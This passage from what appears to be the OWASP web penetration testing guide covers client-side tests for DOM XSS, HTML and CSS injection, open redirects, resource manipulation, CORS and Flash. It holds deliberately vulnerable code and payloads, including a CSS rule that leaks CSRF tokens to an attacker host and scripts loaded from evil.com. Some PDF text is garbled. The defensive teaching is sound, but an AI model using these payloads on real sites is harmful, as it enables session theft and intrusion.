displayed by the page. Unlike the more common types of cross

189

Web Application Penetration Testing

site scripting (Stored and Reflected) in which the code is sent to


the server and then back to the browser, this is executed directly
in the users browser without server contact.
The consequences of DOM-based XSS flaws are as wide ranging
as those seen in more well known forms of XSS, including cookie
retrieval, further malicious script injection, etc. and should therefore be treated with the same severity.
Black Box testing
Blackbox testing for DOM-Based XSS is not usually performed
since access to the source code is always available as it needs to
be sent to the client to be executed.
Gray Box testing
Testing for DOM-Based XSS vulnerabilities:
JavaScript applications differ significantly from other types of
applications because they are often dynamically generated by
the server, and to understand what code is being executed, the
website being tested needs to be crawled to determine all the
instances of JavaScript being executed and where user input
is accepted. Many websites rely on large libraries of functions,
which often stretch into the hundreds of thousands of lines of
code and have not been developed in-house. In these cases,
top-down testing often becomes the only really viable option,
since many bottom level functions are never used, and analyzing
them to determine which are sinks will use up more time than is
often available. The same can also be said for top-down testing
if the inputs or lack thereof is not identified to begin with.
User input comes in two main forms:
9
allow direct XSS
9Cd
Here are two examples of how the server may insert data into
JavaScript:
And here are two examples of input from client-side JavaScript
objects:
While there is little difference to the JavaScript code in how they
are retrieved, it is important to note that when input is received
via the server, the server can apply any permutations to the data
that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and
so if someFunction in the above example were a sink, then the
exploitability of the former would depend on the filtering done
by the server, whereas the latter would depend on the encoding
done by the browser on the window.referer object.
Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a URL using
the document. and location. attributes.
Additionally, JavaScript is often executed outside of <script>
blocks, as evidenced by the many vectors which have led to XSS
filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as
event handlers and CSS blocks with expression attributes.
Also, note that any off-site CSS or script objects will need to be

assessed to determine what code is being executed.


Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS
by sending a specific payload and attempts to observe it in the
server response. This may work fine for the simple example provided below, where the message parameter is reflected back to
the user:
but may not be detected in the following contrived case:
For this reason, automated testing will not detect areas that may
be susceptible to DOM-based XSS unless the testing tool can
perform addition analysis of the client side code.
Manual testing should therefore be undertaken and can be done
by examining areas in the code where parameters are referred
to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and
elsewhere where the DOM is modified or even where scripts are
directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this
section.
References
OWASP Resources
#RLdd^d
Whitepapers
Document Object Model (DOM) - http://en.wikipedia.org/wiki
Document_Object_Model
DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: http://www.webappsec.org/projects/articles/071105.
shtml
Browser location/document URI/URL Sources - https://code
google.com/p/domxsswiki/wiki/LocationSources

like document.URL, document.baseURI, location, location.href,
etc.

Testing for JavaScript Execution


(OTG-CLIENT-002)

Summary
A JavaScript Injection vulnerability is a subtype of Cross Site
Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victims
browser.
This vulnerability can have many consequences, like disclosure
of a users session cookies that could be used to impersonate
the victim, or, more generally, it can allow the attacker to modify
the page content seen by the victims or the application behavior.
How to Test
Such vulnerability occurs when the application lacks of a proper
user supplied input and output validation.
JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim.
When trying to exploit this kind of issues, consider that some
characters are treated differently by different browsers. For reference see the DOM XSS Wiki.
The following script does not perform any validation of the vari-

190

Web Application Penetration Testing

able rr that contains the user supplied input via the query string
and additionally does not apply any form of encoding:
var rr = location.search.substring(1);
if(rr)
window.location=decodeURIComponent(rr);
This implies that an attacker could inject JavaScript code
simply by submitting the following query string: www.victim.
com/?javascript:alert(1)

Black Box testing


Black box testing for JavaScript Execution is not usually performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Gray Box testing
Testing for JavaScript Execution vulnerabilities:
For example, looking at the following URL: http://www.domxss.
com/domxss/01_Basics/04_eval.html
The page contains the following scripts:
<script>
function loadObj(){
var cc=eval((+aMess+));
document.getElementById(mess).textContent=cc.message;
}
if(window.location.hash.indexOf(message)==-1)
var aMess=({\message\:\Hello User!\});
else
var aMess=location.hash.substr(window.location.hash.
indexOf(message=)+8);
</script>
The above code contains a source location.hash that is controlled by the attacker that can inject directly in the message
value a JavaScript Code to take the control of the user browser.
References
OWASP Resources
#RLdd^d
DOMXSS.com - http://www.domxss.com
Whitepapers
Browser location/document URI/URL Sources - https://code
google.com/p/domxsswiki/wiki/LocationSources

like document.URL, document.baseURI, location, location.href,
etc.

Testing for HTML Injection (OTG-CLIENT-003)

Summary
HTML injection is a type of injection issue that occurs when a
user is able to control an input point and is able to inject arbitrary

HTML code into a vulnerable web page.


This vulnerability can have many consequences, like disclosure
of a users session cookies that could be used to impersonate the
victim, or, more generally, it can allow the attacker to modify the
page content seen by the victims.
How to Test
This vulnerability occurs when the user input is not correctly
sanitized and the output is not encoded. An injection allows the
attacker to send a malicious HTML page to a victim. The targeted
browser will not be able to distinguish (trust) the legit from the
malicious parts and consequently will parse and execute all as
legit in the victim context.
There is a wide range of methods and attributes that could be
used to render HTML content. If these methods are provided
with an untrusted input, then there is an high risk of XSS, specifically an HTML injection one. Malicious HTML code could be
injected for example via innerHTML, that is used to render user
inserted HTML code. If strings are not correctly sanitized the
problem could lead to XSS based HTML injection. Another method could be document.write()
When trying to exploit this kind of issues, consider that some
characters are treated differently by different browsers. For reference see the DOM XSS Wiki.
The innerHTML property sets or returns the inner HTML of an
element. An improper usage of this property, that means lack of
sanitization from untrusted input and missing output encoding,
could allow an attacker to inject malicious HTML code.
Example of Vulnerable Code: The following example shows a
snippet of vulnerable code that allows an unvalidated input to be
used to create dynamic html in the page context:
var userposition=location.href.indexOf(user=);
var user=location.href.substring(userposition+5);
document.getElementById(Welcome).innerHTML= Hello,
+user;
In the same way, the following example shows a vulnerable code
using the document.write() function:
var userposition=location.href.indexOf(user=);
var user=location.href.substring(userposition+5);
document.write(<h1>Hello, + user +</h1>);
In both examples, an input like the following:
http://vulnerable.site/page.html?user=<img%20src=aaa%20
onerror=alert(1)>
will add to the page the image tag that will execute an arbitrary
JavaScript code inserted by the malicious user in the HTML context.
Black Box testing

191

Web Application Penetration Testing

Black box testing for HTML Injection is not usually performed


since access to the source code is always available as it needs to
be sent to the client to be executed.
Gray Box testing
Testing for HTML Injection vulnerabilities:
For example, looking at the following URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
The HTML code will contains the following script:
<script src=../js/jquery-1.7.1.js></script>
<script>
function setMessage(){
var t=location.hash.slice(1);
$(div[id=+t+]).text(The DOM is now loaded and can be
manipulated.);
}
$(document).ready(setMessage );
$(window).bind(hashchange,setMessage)
</script>
<body><script src=../js/embed.js></script>
<span><a href=#message > Show Here</a><div id=message>Showing Message1</div></span>
<span><a href=#message1 > Show Here</a><div
id=message1>Showing Message2</div>
<span><a href=#message2 > Show Here</a><div
id=message2>Showing Message3</div>
</body>

It is possible to inject HTML code.


References
OWASP Resources
#RLdd^d
 DOMXSS.com - http://www.domxss.com
Whitepapers
Browser location/document URI/URL Sources - https://code.
google.com/p/domxsswiki/wiki/LocationSources

like document.URL, document.baseURI, location, location.href,
etc.

Testing for Client Side URL Redirect


(OTG-CLIENT-004)

Summary
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw
that exists when an application accepts an user controlled input
which specifies a link that leads to an external URL that could be
malicious. This kind of vulnerability could be used to accomplish a
phishing attack or redirect a victim to an infection page.
How to Test
This vulnerability occurs when an application accepts untrusted

input that contains an URL value without sanitizing it. This URL
value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the
attacker.
By modifying untrusted URL input to a malicious site, an attacker
may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application,
the phishing attempts may have a more trustworthy appearance.
A phishing attack example could be the following:
http://www.target.site?#redirect=www.fake-target.site
The victim that visits target.site will be automatically redirected
to fake-target.site where an attacker could place a fake page to
steal victims credentials.
Moreover open redirections could also be used to maliciously
craft an URL that would bypass the applications access control
checks and then forward the attacker to privileged functions
that they would normally not be able to access.
Black Box testing
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Gray Box testing
Testing for Client Side URL Redirect vulnerabilities:
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript
code).
These redirections could be implemented, for example in JavaScript, using the window.location object that can be used to take
the browser to another page by simply assigning a string to it. (as
you can see in the following snippet of code).
var redir = location.hash.substring(1);
if (redir)
window.location=http://+decodeURIComponent(redir);
In the previous example the script does not perform any validation of the variable redir, that contains the user supplied input
via the query string, and in the same time does not apply any
form of encoding, then this unvalidated input is passed to the
windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
http://www.victim.site/?#www.malicious.site

192

Web Application Penetration Testing

Note how, if the vulnerable code is the following


var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
It also could be possible to inject JavaScript code, for example by
submitting the following query string:
http://www.victim.site/?#javascript:alert(document.cookie)
When trying to check for this kind of issues, consider that some
characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs
variants as described here: http://kotowicz.net/absolute/

Tools

DOMinator - https://dominator.mindedsecurity.com/
References
OWASP Resources
#RLdd^d
DOMXSS.com - http://www.domxss.com
Whitepapers
Browser location/document URI/URL Sources - https://code
google.com/p/domxsswiki/wiki/LocationSources
i.e., what is returned when you ask the browser for things
like document.URL, document.baseURI, location, location.
href, etc.
Krzysztof Kotowicz: Local or Externa? Weird URL formats on
the loose - http://kotowicz.net/absolute/

Testing for CSS Injection (OTG-CLIENT-005)

Summary
A CSS Injection vulnerability involves the ability to inject arbitrary
CSS code in the context of a trusted web site, and this will be
rendered inside the victims browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it
could lead to Cross-Site Scripting in particular circumstances, to
data exfiltration in the sense of extracting sensitive data or to UI
modifications.
How to Test
Such a vulnerability occurs when the application allows to supply
user-generated CSS or it is possible to somehow interfere with
the legit stylesheets. Injecting code in the CSS context gives the
attacker the possibility to execute JavaScript in certain conditions
as well as extracting sensitive values through CSS selectors and
functions able to generate HTTP requests. Actually, giving the
users the possibility to customize their own personal pages by
using custom CSS files results in a considerable risk, and should
be definitely avoided.
The following JavaScript code shows a possible vulnerable
script in which the attacker is able to control the location.hash
(source) which reaches the cssText function (sink). This particular case may lead to DOMXSS in older browser versions, such as

Opera, Internet Explorer and Firefox; for reference see DOM XSS
Wiki, section Style Sinks.
<a id=a1>Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById(a1).style.cssText = color: +
location.hash.slice(1);
}
</script>
Specifically the attacker could target the victim by asking her to
visit the following URLs:

source:current; (Opera [8,12])
n`G9&
The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:
<style>
p{
color: <?php echo $_GET[color]; ?>;
text-align: center;
}
</style>

Much more interesting attack scenarios involve the possibility to


extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for
instance to grab anti-CSRF tokens, as follows. In particular, input[name=csrf_token][value=^a] represents an element with
the attribute name set csrf_token and whose attribute value starts with a. By detecting the length of the attribute value, it is possible to carry out a brute force attack against it and
send its value to the attackers domain.
<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker/log?a);
}
</style>
Much more modern attacks involving a combination of SVG, CSS
and HTML5 have been proven feasible, therefore we recommend
to see the References section for details.
Black Box testing
We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is
always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain
degree of freedom in terms of possibilities to supply HTML code;
in that case it is required to test whether no CSS injections are
possible: tags like link and style should be disallowed, as well

193

Web Application Penetration Testing

as attributes style.
Gray Box testing
Testing for CSS Injection vulnerabilities:
Manual testing needs to be conducted and the JavaScript code
analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be
interested in how the website returns CSS rules on the basis of
the inputs.
The following is a basic example:
<a id=a1>Click me</a>
<b>Hi</b>
<script>
$(a).click(function(){
$(b).attr(style,color: + location.hash.slice(1));
});
</script>

The above code contains a source location.hash that is controlled by the attacker that can inject directly in the attribute
style of an HTML element. As mentioned above, this may lead
to different results on the basis of the adopted browser and the
supplied payload.
It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would
disallow any damaging injections. In general, we recommend to
use always a whitelist of allowed characters any time the input is
reflected in the CSS context.
<a id=a1>Click me</a>
<b>Hi</b>
<script>
$(a).click(function(){
$(b).css(color,location.hash.slice(1));
});
</script>

References
OWASP Resources
#RLdd^d
DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki
CssText
Presentations
DOM Xss Identification and Exploitation, Stefano Di Paola
h t t p : //d o m i n a t o r. g o o g l e c o d e . c o m / f i l e s / D O M X s s _
Identification_and_exploitation.pdf
Got Your Nose! How To Steal Your Precious Data Without
Using Scripts, Mario Heiderich - http://www.youtube.com/
watch?v=FIQvAaZj_HA
Bypassing Content-Security-Policy, Alex Kouzemtchenko
http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx
Proof of Concepts

Password cracker via CSS and HTML5 - http://html5sec.org


invalid/?length=25
CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/

Testing for Client Side Resource Manipulation


(OTG-CLIENT-006)

Summary
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user
controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the
ability to control the URLs which link to some resources present
in a web page. The impact may vary on the basis of the type of
the element whose URL is controlled by the attacker, and it is
usually adopted to conduct Cross-Site Scripting attacks.
How to Test
Such a vulnerability occurs when the application employs user
controlled URLs for referencing external/internal resources. In
these circumstances it is possible to interfere with the expected
applications behavior in the sense of making it load and render
malicious objects.
The following JavaScript code shows a possible vulnerable
script in which the attacker is able to control the location.hash
(source) which reaches the attribute src of a script element.
This particular obviously leads XSS since an external JavaScript
could be easily injected in the trusted web site.
<script>
var d=document.createElement(script);
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
Specifically the attacker could target the victim by asking her to
visit the following URL:
www.victim.com/#http://evil.com/js.js
Where js.js contains:
alert(document.cookie)
Controlling scripts sources is a basic example, since some other
interesting and more subtle cases can take place. A widespread
scenario involves the possibility to control the URL called in a
CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site.
Refer to the following vulnerable code:
<b id=p></b>

194

Web Application Penetration Testing

<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
d
document.getElementById(p).innerHTML = this.responseText;
}
};
return xhr;
}
var xhr = createCORSRequest(GET, location.hash.slice(1));
xhr.send(null);
</script>
The location.hash is controlled by the attacker and it is used for
requesting an external resource, which will be reflected through
the construct innerHTML. Basically the attacker could ask the
victim to visit the following URL and at the same time he could
craft the payload handler.
Exploit URL: www.victim.com/#http://evil.com/html.html

Gray Box testing


Testing for Client Side Resource Manipulation vulnerabilities:
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly
validating them; these are under the control of the user which
could be able to specify the url of some resources. Since there
are many resources that could be included into the application
(for example images, video, object, css, frames etc.), client side
scripts which handle the associated URLs should be investigated
for potential issues.
The following table shows the possible injection points (sink)
that should be checked:

Sink

Frame

iframe

src

Link

href

AJAX Request

xhr.open(method, [url], true);

URL

CSS

link

Sink

Image

img

Object

object

src

Script

script

data

src

The most interesting ones are those that allow to an attacker


to include client side code (for example JavaScript) since it could
lead to an XSS vulnerabilities.
When trying to check for this kind of issues, consider that some
characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/

Tools

DOMinator - https://dominator.mindedsecurity.com/
References
OWASP Resources
#RLdd^d
DOMXSS.com - http://www.domxss.com
DOMXSS TestCase - http://www.domxss.com/domxss/01
Basics/04_script_src.html

Test Cross Origin Resource Sharing


(OTG-CLIENT-007)

Black Box testing


Black box testing for Client Side Resource Manipulation is not
usually performed since access to the source code is always
available as it needs to be sent to the client to be executed.

Tag/Method

Tag/Method

Whitepapers
DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki
LocationSources
Krzysztof Kotowicz: Local or External? Weird URL formats on
the loose - http://kotowicz.net/absolute/

http://evil.com/html.html
---<?php
header(Access-Control-Allow-Origin: http://www.victim.
com);
?>
<script>alert(document.cookie);</script>

Resource

Resource

href

Summary
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform cross-domain requests using
the XMLHttpRequest L2 API in a controlled manner. In the past,
the XMLHttpRequest L1 API only allowed requests to be sent
within the same origin as it was restricted by the same origin
policy.
Cross-Origin requests have an Origin header, that identifies the
domain initiating the request and is always sent to the server.
CORS defines the protocol to use between a web browser and a
server to determine whether a cross-origin request is allowed.
In order to accomplish this goal, there are a few HTTP headers
involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials,
Access-Control-Allow-Methods, Access-Control-Allow-Headers.
The CORS specification mandates that for non simple requests,
such as requests other than GET or POST or requests that uses
credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on
the data. The pre-flight request checks the methods, headers
allowed by the server, and if credentials are permitted, based on
the result of the OPTIONS request, the browser decides whether
the request is allowed or not.

195

Web Application Penetration Testing

How to Test
Origin & Access-Control-Allow-Origin
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this
header for Access Control checks is not a good idea as it may be
spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.
Access-Control-Allow-Origin is a response header used by a
server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client
to determine and enforce the restriction of whether the client
has access to the response data based on this header.
From a penetration testing perspective you should look for insecure configurations as for example using a * wildcard as value of
the Access-Control-Allow-Origin header that means all domains
are allowed. Other insecure example is when the server returns
back the Origin header without any additional checks, what can
lead to access of sensitive data. Note that this configuration is
very insecure, and is not acceptable in general terms, except in
the case of a public API that is intended to be accessible by everyone.
Access-Control-Request-Method & Access-Control-Allow-Method
The Access-Control-Request-Method header is used when a
browser performs a preflight OPTIONS request and let the client
indicate the request method of the final request. On the other
hand, the Access-Control-Allow-Method is a response header
used by the server to describe the methods the clients are allowed to use.
Access-Control-Request-Headers & Access-Control-Allow-Headers
These two headers are used between the browser and the server
to determine which headers can be used to perform a cross-origin request.
Access-Control-Allow-Credentials
This header as part of a preflight request indicates that the final
request can include user credentials.
Input validation
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards
compatibility. This can introduce security vulnerabilities that in
XHR L1 were not present. Interesting points of the code to exploit
would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could
lead to code injection. Likewise, other part of the application that
can be exploited is if the response data is not escaped and we
can control it by providing user-supplied input.
Other headers
There are other headers involved like Access-Control-Max-Age
that determines the time a preflight request can be cached in
the browser, or Access-Control-Expose-Headers that indicates
which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C
document.

Black Box testing


Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the
source code is always available as it needs to be sent to the client
to be executed.
Gray Box testing
Check the HTTP headers in order to understand how CORS is
used, in particular we should be very interested in the Origin
header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code
is vulnerable to code injection due to improper handling of user
supplied input. Below are some examples:
Example 1: Insecure response with wildcard * in Access-Control-Allow-Origin:
Request (note the Origin header:)
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive

Response (note the Access-Control-Allow-Origin header:)


HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml
[Response Body]
Example 2: Input validation issue, XSS with CORS:
This code makes a request to the resource passed after the #
character in the URL, initially used to get resources in the same
server.
Vulnerable code:
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {

196

Web Application Penetration Testing

d
document.getElementById(div1).innerHTML=req.
responseText;
}
}
var resource = location.hash.substring(1);
req.open(GET,resource,true);
req.send();
</script>
<body>
<div id=div1></div>
</body>
For example, a request like this will show the contents of the
profile.php file:
http://example.foo/main.php#profile.php
Request and response generated by this URL:
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
[Response Body]

Now, as there is no URL validation we can inject a remote script,


that will be injected and executed in the context of the example.
foo domain, with a URL like this:
http://example.foo/main.php#http://attacker.bar/file.php
Request and response generated by this URL:

GET http://attacker.bar/file.php HTTP/1.1


Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Injected Content from attacker.bar <img src=# onerror=alert(Domain: +document.domain)>

Tools

OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org


index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for
finding vulnerabilities in web applications. It is designed to be
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabilities manually.
References
OWASP Resources
OWASP HTML5 Security Cheat Sheet: https://www.owasp
org/index.php/HTML5_Security_Cheat_Sheet
Whitepapers
W3C - CORS W3C Specification: http://www.w3.org/TR/cors/

197

Web Application Penetration Testing

Testing for Cross site flashing


(OTG-CLIENT-008)

Summary
ActionScript is the language, based on ECMAScript, used by Flash
applications when dealing with interactive needs. There are three
versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of
ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a
rewrite of the language to support object orientated design.
ActionScript, like every other language, has some implementation
patterns which could lead to security issues. In particular, since Flash
applications are often embedded in browsers, vulnerabilities like
DOM based Cross-Site Scripting (XSS) could be present in flawed
Flash applications.
How to Test
Since the first publication of Testing Flash Applications [1], new
versions of Flash player were released in order to mitigate some of
the attacks which will be described. Nevertheless, some issues still
remain exploitable because they are the result of insecure programming practices.
Decompilation
Since SWF files are interpreted by a virtual machine embedded in the
player itself, they can be potentially decompiled and analysed. The
most known and free ActionScript 2.0 decompiler is flare.
To decompile a SWF file with flare just type:
$ flare hello.swf
it will result in a new file called hello.flr.
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HPs free
SWFScan tool can decompile both ActionScript 2.0 and ActionScript
3.0 SWFScan
The OWASP Flash Security Project maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.
Undefined Variables FlashVars
FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from
the Object or Embed tag within the HTML. For instance:
<object width=550 height=400 classid=clsid:D27CDB6E
-AE6D-11cf-96B8-444553540000
codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0>
<param name=movie value=somefilename.swf>
0y
<embed src=somefilename.swf width=550
0y
</embed>
</object>

FlashVars can also be initialized from the URL:


var2=val2
In ActionScript 3.0, a developer must explicitly assign the FlashVar
values to local variables. Typically, this looks like:
var paramObj:Object = LoaderInfo(this.root.loaderInfo).
parameters;
var var1:String = String(paramObj[var1]);
var var2:String = String(paramObj[var2]);
In ActionScript 2.0, any uninitialized global variable is assumed to be
a FlashVar. Global variables are those variables that are prepended
by _root, _global or _level0. This means that if an attribute like:
_root.varname
is undefined throughout the code flow, it could be overwritten by
setting
http://victim/file.swf?varname=value
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Lets look at some ActionScript 2.0 code that is vulnerable:
Example:
movieClip 328 __Packages.Locale {
#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace(Locale loaded xml);
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__
text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}

198

Web Application Penetration Testing

v5.load(Locale.DEFAULT_LANG + /player_ +
Locale.DEFAULT_LANG + .xml);
};
The above code could be attacked by requesting:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Unsafe Methods
When an entry point is identified, the data it represents could be
used by unsafe methods. If the data is not filtered/validated using
the right regexp it could lead to some security issue.
Unsafe Methods since version r47 are:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( url )
LoadVars.load ( url )
Sound.loadSound( url , isStreaming );
NetStream.play( url );
flash.external.ExternalInterface.call(_root.callback)
htmlText
The Test
In order to exploit a vulnerability, the swf file should be hosted on
the victims host, and the techniques of reflected XSS must be used.
That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through
an iframe from an evil page:
<iframe src=http://victim/path/to/file.swf></iframe>
This is because in this situation the browser will self-generate an
HTML page as if it were hosted by the victim host.
XSS
GetURL (AS2) / NavigateToURL (AS3):
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browsers window.
So if an undefined variable is used as the first argument for getURL:
getURL(_root.URI,_targetFrame);
Or if a FlashVar is used as the parameter that is passed to a naviga-

teToURL function:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);
Then this will mean its possible to call JavaScript in the same domain
where the movie is hosted by requesting:
http://victim/file.swf?URI=javascript:evilcode
getURL(javascript:evilcode,_self);
The same when only some part of getURL is controlled:
Dom Injection with Flash JavaScript injection
getUrl(javascript:function(+_root.arg+))
asfunction:
You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL.
Until release Flash Player 9 r48 asfunction could be used on every
method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField.
This means that a tester could try to inject:
asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)
by requesting:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
ExternalInterface:
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.
From a security point of view it could be abused when part of its argument could be controlled:
flash.external.ExternalInterface.call(_root.callback);
the attack pattern for this kind of flaw should be something like
the following:
eval(evilcode)

199

Web Application Penetration Testing

since the internal JavaScript which is executed by the browser


will be something similar to:
eval(try { __flash__toXML(+__root.callback+) ; } catch (e) {
<undefined/>; })
HTML Injection
TextField Objects can render minimal HTML by setting:
tf.html = true
tf.htmlText = <tag>text</tag>
So if some part of text could be controlled by the tester, an A tag
or an IMG tag could be injected resulting in modifying the GUI or
XSS the browser.
